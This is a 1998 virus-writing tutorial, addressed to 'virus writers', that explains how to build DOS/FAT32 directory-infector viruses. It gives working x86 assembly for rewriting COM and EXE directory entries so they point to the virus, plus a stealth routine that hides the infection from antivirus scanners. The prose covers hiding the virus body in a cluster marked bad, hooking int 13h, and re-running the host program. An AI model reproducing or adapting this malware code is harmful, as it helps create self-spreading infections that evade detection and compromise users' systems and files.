Directory Infection
Buz [FS]

Introduction.

Greetings, virus writers. This tutorial is intended at readers with some knowledge of assembly language and low-level disk structures on the IBM PC compatible computers. I hope to provide you with the information necessary to write the most esoteric class of viruses out there - directory infectors.
Why directory infection, you may ask? First of all, it's the challenge - only two directory infectors have been written to my knowledge. Secondly, both of these have enjoyed high success in the wild. And finally, directory infection offers a chance to implement stealth algorithms at the lowest level - bypassing any anti-virus scanner or puny scanner-wannabe integrity checker. So, without further ado, on with the show.

How Directory Infectors Work.

This is known by a surprisingly few virus writers, even though this technology has been made public by VirusSoft Corp. in 1991 and later distributed very widely by the 40Hex magazine. Dir-II, the virus in question wouldn't work on DOS versions higher than 4.x, but despite that made it into the wild in huge numbers. This kind of spread is unique to directory infectors, as they do not decrease the available disk space, nor slow down the host computer significantly, and yet can infect any file accessed in any way - even if it was just brought up by a DIR command.
Technically, these viruses are unique - they do not modify any executable code in the host system. Rather, they modify the directory entry in a way that points to the single copy of the virus stored on the disk. To illustrate this, here's the format of DOS a directory entry (from Ralph Brown's Interrupt List)

>     Offset  Size    Description
>      00h  8 BYTEs   blank-padded filename
>     *08h  3 BYTEs   blank-padded file extension
>     *0Bh	BYTE	attributes
>     >0Ch    BYTE    reserved
>     >0Dh    BYTE    10-millisecond units past creation time below (DOS 7)
>      0Eh	WORD	file creation time (DOS 7)
>      10h	WORD	file creation date (DOS 7)
>     >12h    WORD    last access date (DOS 7)
>     #14h	WORD	high part of starting cluster number (FAT32)
>      16h	WORD	time of creation/last update(Win9x)
>      18h	WORD	date of creation/last update(Win9x)
>     #1Ah	WORD	starting cluster number (FAT12/16)/low part thereof (FAT32)
>      1Ch	DWORD	file size

>     Key:

>     * - data referenced during infection
>     # - data changed during infection
>     > - data overwritten during infection

This key refers to an algorithm I have developed, which isn't significantly different from that implemented by Dir-II or Byway, but is more compatible with Windows 95/DOS 7, and works on FAT32 drives.

Now, how the hell do we infect? This has to be done rather carefully. First of all, when the virus first goes resident on the host system, it must find a nice safe spot to hide. This spot must be in an area of the disk referenced by the FAT - this means on a disk cluster boundary. One approach would be to mark this cluster bad in the FAT and write the virus body there. Two important considerations - that cluster number must be stored somewhere in the virus body, and there must be a marker of some sort so that the disk won't be reinfected. After this is done, the virus is free to load up the root directory, scan through it, and find any files it would like to infect.
Now that the virus has been installed, it only needs to hook int 13h (it can be int 26h or int 40h depending on your whim), and check the disk read buffer and write buffer. Directories, just like any other type of file, start on a cluster boundary. It's also known that the size of each directory entry is 20h bytes. All you have to do is check whether the 3 bytes at offset [start_of_direntry+3] match the executable extensions you want to infect, and if so, infect them. Below follows the algorithm for infecting a directory entry. It assumes the disk read/write buffer in es:bx

>     ;-----code-fragment-start-----

>     check_dir:
>     	push	es
>     	pop	ds
>     	lea	si,[bx+8]       ;ds:si = file extension
>     	cld                     ;set direction to increment
>     	mov	cx,num_entries  ;sectors read*10h (calculate this yourself)

>     check_ext:
>     	lodsw                   ;get first two characters
>     	cmp	ax,'OC'         ;COM?
>     	jnz	check_ext2
>     	lodsb
>     	cmp	al,'M'          ;if so, verify that
>     	jz	check_attrib    ;then, check if this entry is infectable
>     	sub	si,3
>     	lodsw                   ;else get the first two characters again

>     check_ext2:
>     	cmp	ax,'XE'         ;EXE?
>     	jnz	next_entry
>     	lodsb
>     	cmp	al,'E'          ;verify it
>     	jz	check_attrib

>     next_entry:
>     	lodsw                   ;1 byte shorter than inc si, inc si
>     	jmp	short go_dir_check

>     check_attrib:
>     	lodsb                   ;get attributes
>     	and	al,1010b        ;this means we have a Win9x long file name
>     	jz	infect_entry    ;directory entry, a directory, or a system
>                                     ;file
>     go_dir_check:
>     	add	si,1ch          ;next dir entry

>     loop_dir_check:
>     	loop	check_ext
>     	jmp	short infect_done

>     infect_entry:
>     	mov	di,si
>     	lea	si,[di+8]       ;si=low starting cluster number
>     	lodsw                   ;get the number
>     	xor	ax,0666h        ;encrypt it (necessary metal reference)
>     	stosw                   ;place it elsewhere
>     	lea	di,[si-2]
>     	mov	ax,word ptr cs:[clustnum]       ;virus starting cluster
>     	stosw                                   ;and store it in the entry
>     	sub	si,0ah          ;si=high starting cluster
>     	sub	di,0ah
>     	lodsw
>     	xor	ax,'FS'         ;had to put in a plug for my group ;-)
>     	stosw                                   ;save that elsewhere
>     	mov	ax,word ptr cs:[clustnum+2]     ;load
>     	stosw                                   ;point it to the virus
>     	add	si,12h                          ;si=next extension
>     	jmp	short loop_dir_check            ;and return to the loop

>     infect_done:

>     ;now write the disk buffer to where it was read from, run your stealth
>     ;algorithm over the infected entries, and return control (if read)
>     ;else, just allow the write ;-)

>     ;------code-fragment-end------

Okay, the stealth algorithm. This must be used whenever there are infected directory entries are in the read buffer. Read the original starting cluster data from where it was saved, write it to its original location, and clear the fields that were overwritten (except for offset 12h, just stick whatever value is in offset 18h there). Simple, no? Just for reference, here's the algorithm. By the way, it's quite necessary for the purposes of, for instance, allowing programs to execute as normal, since DOS reads in the directory entries for the programs it executes.

>     ;-----code-fragment-start-----
>     stealth_dir:
>     	push	es
>     	pop	ds
>     	lea	si,[bx+1ah]     ;si=low starting cluster number
>     	cld
>     	mov	cx,num_entries  ;as above

>     stealth_chk:
>     	lodsw
>     	cmp	ax,word ptr cs:[clustnum]       ;check if it's the virus's
>     	jz	stealth_chk2
>     	add	si,1eh
>     	jmp	short stealth_loop              ;if not, get the next entry

>     stealth_chk2:
>     	sub	si,0ah                     ;si=high starting cluster number
>     	lodsw
>     	cmp	ax,word ptr cs:[clustnum+2]     ;check if it's the virus's
>     	jz	stealth_entry
>     	add	si,24h

>     stealth_loop:
>     	loop	stealth_chk        ;if not, keep going through the entries
>     	jmp	short stealth_done

>     stealth_entry:
>     	lea	di,[si-2]
>     	sub	si,0ah
>     	lodsw                   ;get original low cluster number in ax
>     	xor	ax,0666h        ;decrypt
>     	stosw
>     	lodsw                   ;shorter than add si,4
>     	lodsw
>     	lodsw                   ;get original high cluster number in ax
>     	xor	ax,'FS'         ;decrypt ;-)
>     	mov	di,si
>     	stosw
>     	sub	di,4
>     	lodsw
>     	lodsw
>     	movsw                   ;restore last access date
>     	sub	di,8
>     	xor	ax,ax
>     	stosw                   ;clear the other fields
>     	add	si,20h
>     	jmp	short stealth_loop

>     stealth_done:

>     ;	[.....]
>     ;	[.....]

>     ;------code-fragment-end------

So, this is how to infect directory entries. I'm not going to write code for anything else, but to run the host file, just build an exec parameter block, extract the name out of the PSP, and re-execute the program. Naturally, after the program finishes up, it will pass control back to you, so you can gracefully terminate. This is easy. Final words of wisdom: don't go around dumbly infecting the directory entries with the same values. If the disk changes, make sure you stick the right numbers into the clustnum variable and write a copy of the virus to that disk. Anyway, this is more than enough info to get you all going.

This document is (c) 1998 Buz [FS], and may be distributed so long as the correct copyright of this document is stated, and it is not modified in any way. Any medium in which this document is distributed in must be free.

The code presented in this document is (c) 1998 Buz [FS], and may be freely used and modified so long as the author of the base code is acknowledged and the copyright of the code is stated. If said code is used in a compiled binary form where no other copyright notice is stated, the copyright need not be included. All code is used at own risk. Any medium in which this code is distributed must be free.